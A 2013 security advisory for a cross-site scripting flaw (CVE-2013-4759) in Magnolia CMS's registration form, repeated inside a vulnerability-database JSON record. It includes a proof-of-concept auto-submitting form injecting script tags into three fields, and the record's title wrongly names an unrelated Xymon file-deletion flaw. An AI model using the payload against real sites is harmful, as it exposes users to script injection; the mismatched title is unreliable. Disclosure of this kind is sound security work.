Advisory ID: HTB23163
Product: Magnolia CMS
Vendor: Magnolia International Ltd
Vulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition
Tested Version: 5.0 Community Edition
Vendor Notification: July 3, 2013
Vendor Patch: July 18, 2013
Public Disclosure: July 24, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4759
Risk Level: Medium
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.
1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759
The vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "fullname" and "email" HTTP POST parameters passed to "/magnoliaPublic/demo-project/members-area/registration.html" URL.
A remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to display user's cookies:
<form action="http://[host]/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
-----------------------------------------------------------------------------------------------
Solution:
The vulnerability and fix are described in the MGNLFORM-183 issue (1).
The hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively:
(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183
(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/
(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23163 - https://www.htbridge.com/advisory/HTB23163 - Cross-Site Scripting (XSS) in Magnolia CMS.
[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open source Java content management system for the enterprise.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
{"id": "SECURITYVULNS:DOC:29673", "bulletinFamily": "software", "title": "Xymon Systems and Network Monitor - remote file deletion vulnerability", "description": "\r\n\r\nAdvisory ID: HTB23163\r\nProduct: Magnolia CMS\r\nVendor: Magnolia International Ltd\r\nVulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition\r\nTested Version: 5.0 Community Edition\r\nVendor Notification: July 3, 2013 \r\nVendor Patch: July 18, 2013 \r\nPublic Disclosure: July 24, 2013 \r\nVulnerability Type: Cross-Site Scripting [CWE-79]\r\nCVE Reference: CVE-2013-4759\r\nRisk Level: Medium \r\nCVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.\r\n\r\n\r\n1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759\r\n\r\nThe vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "fullname" and "email" HTTP POST parameters passed to "/magnoliaPublic/demo-project/members-area/registration.html" URL.\r\n\r\nA remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the "alert()" JavaScript function to display user's cookies:\r\n\r\n\r\n<form action="http://[host]/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">\r\n<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">\r\n<input type="hidden" name="password" value='password'>\r\n<input type="hidden" name="passwordConfirmation" value='password'>\r\n<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>\r\n<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>\r\n<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>\r\n<input type="submit" id="btn">\r\n</form>\r\n<script>\r\ndocument.main.submit();\r\n</script>\r\n\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nSolution:\r\n\r\nThe vulnerability and fix are described in the MGNLFORM-183 issue (1). \r\n\r\nThe hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively:\r\n\r\n(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183\r\n(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/\r\n(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nReferences:\r\n\r\n[1] High-Tech Bridge Advisory HTB23163 - https://www.htbridge.com/advisory/HTB23163 - Cross-Site Scripting (XSS) in Magnolia CMS.\r\n[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open source Java content management system for the enterprise.\r\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\r\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nDisclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.\r\n\r\n", "published": "2013-07-29T00:00:00", "modified": "2013-07-29T00:00:00", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:29673", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2013-4759"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:48", "edition": 1, "viewCount": 64, "enchantments": {"score": {"value": 0.8, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2013-4759"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:122527"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:13227"]}, {"type": "zdt", "idList": ["1337DAY-ID-21027"]}]}, "exploitation": null, "vulnersScore": 0.8}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645309245, "score": 1659803227}, "_internal": {"score_hash": "c15fabecb5d624679aa47d739e1658bd"}}
{"securityvulns": [{"lastseen": "2018-08-31T11:10:48", "description": "\r\n\r\nAdvisory ID: HTB23163\r\nProduct: Magnolia CMS\r\nVendor: Magnolia International Ltd\r\nVulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition\r\nTested Version: 5.0 Community Edition\r\nVendor Notification: July 3, 2013 \r\nVendor Patch: July 18, 2013 \r\nPublic Disclosure: July 24, 2013 \r\nVulnerability Type: Cross-Site Scripting [CWE-79]\r\nCVE Reference: CVE-2013-4759\r\nRisk Level: Medium \r\nCVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.\r\n\r\n\r\n1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759\r\n\r\nThe vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "fullname" and "email" HTTP POST parameters passed to "/magnoliaPublic/demo-project/members-area/registration.html" URL.\r\n\r\nA remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the "alert()" JavaScript function to display user's cookies:\r\n\r\n\r\n<form action="http://[host]/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">\r\n<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">\r\n<input type="hidden" name="password" value='password'>\r\n<input type="hidden" name="passwordConfirmation" value='password'>\r\n<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>\r\n<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>\r\n<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>\r\n<input type="submit" id="btn">\r\n</form>\r\n<script>\r\ndocument.main.submit();\r\n</script>\r\n\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nSolution:\r\n\r\nThe vulnerability and fix are described in the MGNLFORM-183 issue (1). \r\n\r\nThe hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively:\r\n\r\n(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183\r\n(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/\r\n(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nReferences:\r\n\r\n[1] High-Tech Bridge Advisory HTB23163 - https://www.htbridge.com/advisory/HTB23163 - Cross-Site Scripting (XSS) in Magnolia CMS.\r\n[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open source Java content management system for the enterprise.\r\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\r\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nDisclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2013-07-29T00:00:00", "title": "Cross-Site Scripting (XSS) in Magnolia CMS", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2013-4759"], "modified": "2013-07-29T00:00:00", "id": "SECURITYVULNS:DOC:29672", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:29672", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}, {"lastseen": "2021-06-08T18:53:46", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 2, "cvss3": {}, "published": "2013-07-29T00:00:00", "title": "Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2013-4160", "CVE-2013-4759", "CVE-2013-4625", "CVE-2013-2137", "CVE-2013-2250"], "modified": "2013-07-29T00:00:00", "id": "SECURITYVULNS:VULN:13227", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13227", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2022-03-23T13:51:38", "description": "Multiple cross-site scripting (XSS) vulnerabilities in the Magnolia Form module 1.x before 1.4.7 and 2.x before 2.0.2 for Magnolia CMS allow remote attackers to inject arbitrary web script or HTML via the (1) username, (2) fullname, or (3) email parameter to magnoliaPublic/demo-project/members-area/registration.html.", "cvss3": {}, "published": "2013-08-09T21:55:00", "type": "cve", "title": "CVE-2013-4759", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4759"], "modified": "2017-08-29T01:33:00", "cpe": ["cpe:/a:magnolia-cms:magnolia_form_module:1.4.5", "cpe:/a:magnolia-cms:magnolia_form_module:1.4.3", "cpe:/a:magnolia-cms:magnolia_form_module:1.4.4", "cpe:/a:magnolia-cms:magnolia_form_module:1.4.1", "cpe:/a:magnolia-cms:magnolia_form_module:2.0.1", "cpe:/a:magnolia-cms:magnolia_form_module:2.0", "cpe:/a:magnolia-cms:magnolia_form_module:1.4", "cpe:/a:magnolia-cms:magnolia_form_module:1.4.6", "cpe:/a:magnolia-cms:magnolia_form_module:1.4.2"], "id": "CVE-2013-4759", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4759", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:2.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:2.0:*:*:*:*:*:*:*", "cpe:2.3:a:magnolia-cms:magnolia_form_module:1.4.6:*:*:*:*:*:*:*"]}], "htbridge": [{"lastseen": "2020-12-24T11:12:30", "description": "High-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application. \n \n1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759 \nThe vulnerability exists due to insufficient sanitisation of user-supplied data in \"username\", \"fullname\" and \"email\" HTTP POST parameters passed to \"/magnoliaPublic/demo-project/members-area/registration.html\" URL. \nA remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website. \nThe exploitation example below uses the \"alert()\" JavaScript function to display user's cookies: \n<form action=\"http://[host]/magnoliaPublic/demo-project/members-area/registration. html\" method=\"post\" name=\"main\"> \n<input type=\"hidden\" name=\"mgnlModelExecutionUUID\" value=\"8417fe0e-8f61-4d21-bdf1-c9c23b13ba14\"> \n<input type=\"hidden\" name=\"password\" value='password'> \n<input type=\"hidden\" name=\"passwordConfirmation\" value='password'> \n<input type=\"hidden\" name=\"username\" value='\"><script>alert(document.cookie);</script>'> \n<input type=\"hidden\" name=\"fullName\" value='\"><script>alert(document.cookie);</script>'> \n<input type=\"hidden\" name=\"email\" value='\"><script>alert(document.cookie);</script>'> \n<input type=\"submit\" id=\"btn\"> \n</form> \n<script> \ndocument.main.submit(); \n</script>\n", "edition": 2, "cvss3": {}, "published": "2013-07-03T00:00:00", "type": "htbridge", "title": "Cross-Site Scripting (XSS) in Magnolia CMS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4759"], "modified": "2013-07-19T00:00:00", "id": "HTB23163", "href": "https://www.htbridge.com/advisory/HTB23163", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:20:26", "description": "", "cvss3": {}, "published": "2013-07-24T00:00:00", "type": "packetstorm", "title": "Magnolia CMS 5.0.1 Community Edition Cross Site Scripting", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2013-4759"], "modified": "2013-07-24T00:00:00", "id": "PACKETSTORM:122527", "href": "https://packetstormsecurity.com/files/122527/Magnolia-CMS-5.0.1-Community-Edition-Cross-Site-Scripting.html", "sourceData": "`Advisory ID: HTB23163 \nProduct: Magnolia CMS \nVendor: Magnolia International Ltd \nVulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition \nTested Version: 5.0 Community Edition \nVendor Notification: July 3, 2013 \nVendor Patch: July 18, 2013 \nPublic Disclosure: July 24, 2013 \nVulnerability Type: Cross-Site Scripting [CWE-79] \nCVE Reference: CVE-2013-4759 \nRisk Level: Medium \nCVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) \nSolution Status: Fixed by Vendor \nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \n \n----------------------------------------------------------------------------------------------- \n \nAdvisory Details: \n \nHigh-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application. \n \n \n1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759 \n \nThe vulnerability exists due to insufficient sanitisation of user-supplied data in \"username\", \"fullname\" and \"email\" HTTP POST parameters passed to \"/magnoliaPublic/demo-project/members-area/registration.html\" URL. \n \nA remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website. \n \nThe exploitation example below uses the \"alert()\" JavaScript function to display user's cookies: \n \n \n<form action=\"http://[host]/magnoliaPublic/demo-project/members-area/registration.html\" method=\"post\" name=\"main\"> \n<input type=\"hidden\" name=\"mgnlModelExecutionUUID\" value=\"8417fe0e-8f61-4d21-bdf1-c9c23b13ba14\"> \n<input type=\"hidden\" name=\"password\" value='password'> \n<input type=\"hidden\" name=\"passwordConfirmation\" value='password'> \n<input type=\"hidden\" name=\"username\" value='\"><script>alert(document.cookie);</script>'> \n<input type=\"hidden\" name=\"fullName\" value='\"><script>alert(document.cookie);</script>'> \n<input type=\"hidden\" name=\"email\" value='\"><script>alert(document.cookie);</script>'> \n<input type=\"submit\" id=\"btn\"> \n</form> \n<script> \ndocument.main.submit(); \n</script> \n \n \n----------------------------------------------------------------------------------------------- \n \nSolution: \n \nThe vulnerability and fix are described in the MGNLFORM-183 issue (1). \n \nThe hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively: \n \n(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183 \n(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/ \n(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/ \n \n----------------------------------------------------------------------------------------------- \n \nReferences: \n \n[1] High-Tech Bridge Advisory HTB23163 - https://www.htbridge.com/advisory/HTB23163 - Cross-Site Scripting (XSS) in Magnolia CMS. \n[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open source Java content management system for the enterprise. \n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures. \n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. \n \n----------------------------------------------------------------------------------------------- \n \nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/122527/magnoliacms-xss.txt", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "zdt": [{"lastseen": "2018-04-12T01:53:27", "description": "Magnolia CMS versions 5.0.1, 5.0, 4.5.9, 4.5.8, and 4.5.7 suffer from a cross site scripting vulnerability.", "cvss3": {}, "published": "2013-07-26T00:00:00", "type": "zdt", "title": "Magnolia CMS 5.0.1 Community Edition Cross Site Scripting", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2013-4759"], "modified": "2013-07-26T00:00:00", "id": "1337DAY-ID-21027", "href": "https://0day.today/exploit/description/21027", "sourceData": "Vendor: Magnolia International Ltd\r\nVulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition\r\nTested Version: 5.0 Community Edition\r\nVendor Notification: July 3, 2013 \r\nVendor Patch: July 18, 2013 \r\nPublic Disclosure: July 24, 2013 \r\nVulnerability Type: Cross-Site Scripting [CWE-79]\r\nCVE Reference: CVE-2013-4759\r\nRisk Level: Medium \r\nCVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.\r\n\r\n\r\n1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759\r\n\r\nThe vulnerability exists due to insufficient sanitisation of user-supplied data in \"username\", \"fullname\" and \"email\" HTTP POST parameters passed to \"/magnoliaPublic/demo-project/members-area/registration.html\" URL.\r\n\r\nA remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the \"alert()\" JavaScript function to display user's cookies:\r\n\r\n\r\n<form action=\"http://[host]/magnoliaPublic/demo-project/members-area/registration.html\" method=\"post\" name=\"main\">\r\n<input type=\"hidden\" name=\"mgnlModelExecutionUUID\" value=\"8417fe0e-8f61-4d21-bdf1-c9c23b13ba14\">\r\n<input type=\"hidden\" name=\"password\" value='password'>\r\n<input type=\"hidden\" name=\"passwordConfirmation\" value='password'>\r\n<input type=\"hidden\" name=\"username\" value='\"><script>alert(document.cookie);</script>'>\r\n<input type=\"hidden\" name=\"fullName\" value='\"><script>alert(document.cookie);</script>'>\r\n<input type=\"hidden\" name=\"email\" value='\"><script>alert(document.cookie);</script>'>\r\n<input type=\"submit\" id=\"btn\">\r\n</form>\r\n<script>\r\ndocument.main.submit();\r\n</script>\r\n\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nSolution:\r\n\r\nThe vulnerability and fix are described in the MGNLFORM-183 issue (1). \r\n\r\nThe hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively:\r\n\r\n(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183\r\n(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/\r\n(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/\n\n# 0day.today [2018-04-12] #", "sourceHref": "https://0day.today/exploit/21027", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}]}
Xymon Systems and Network Monitor - remote file deletion vulnerability
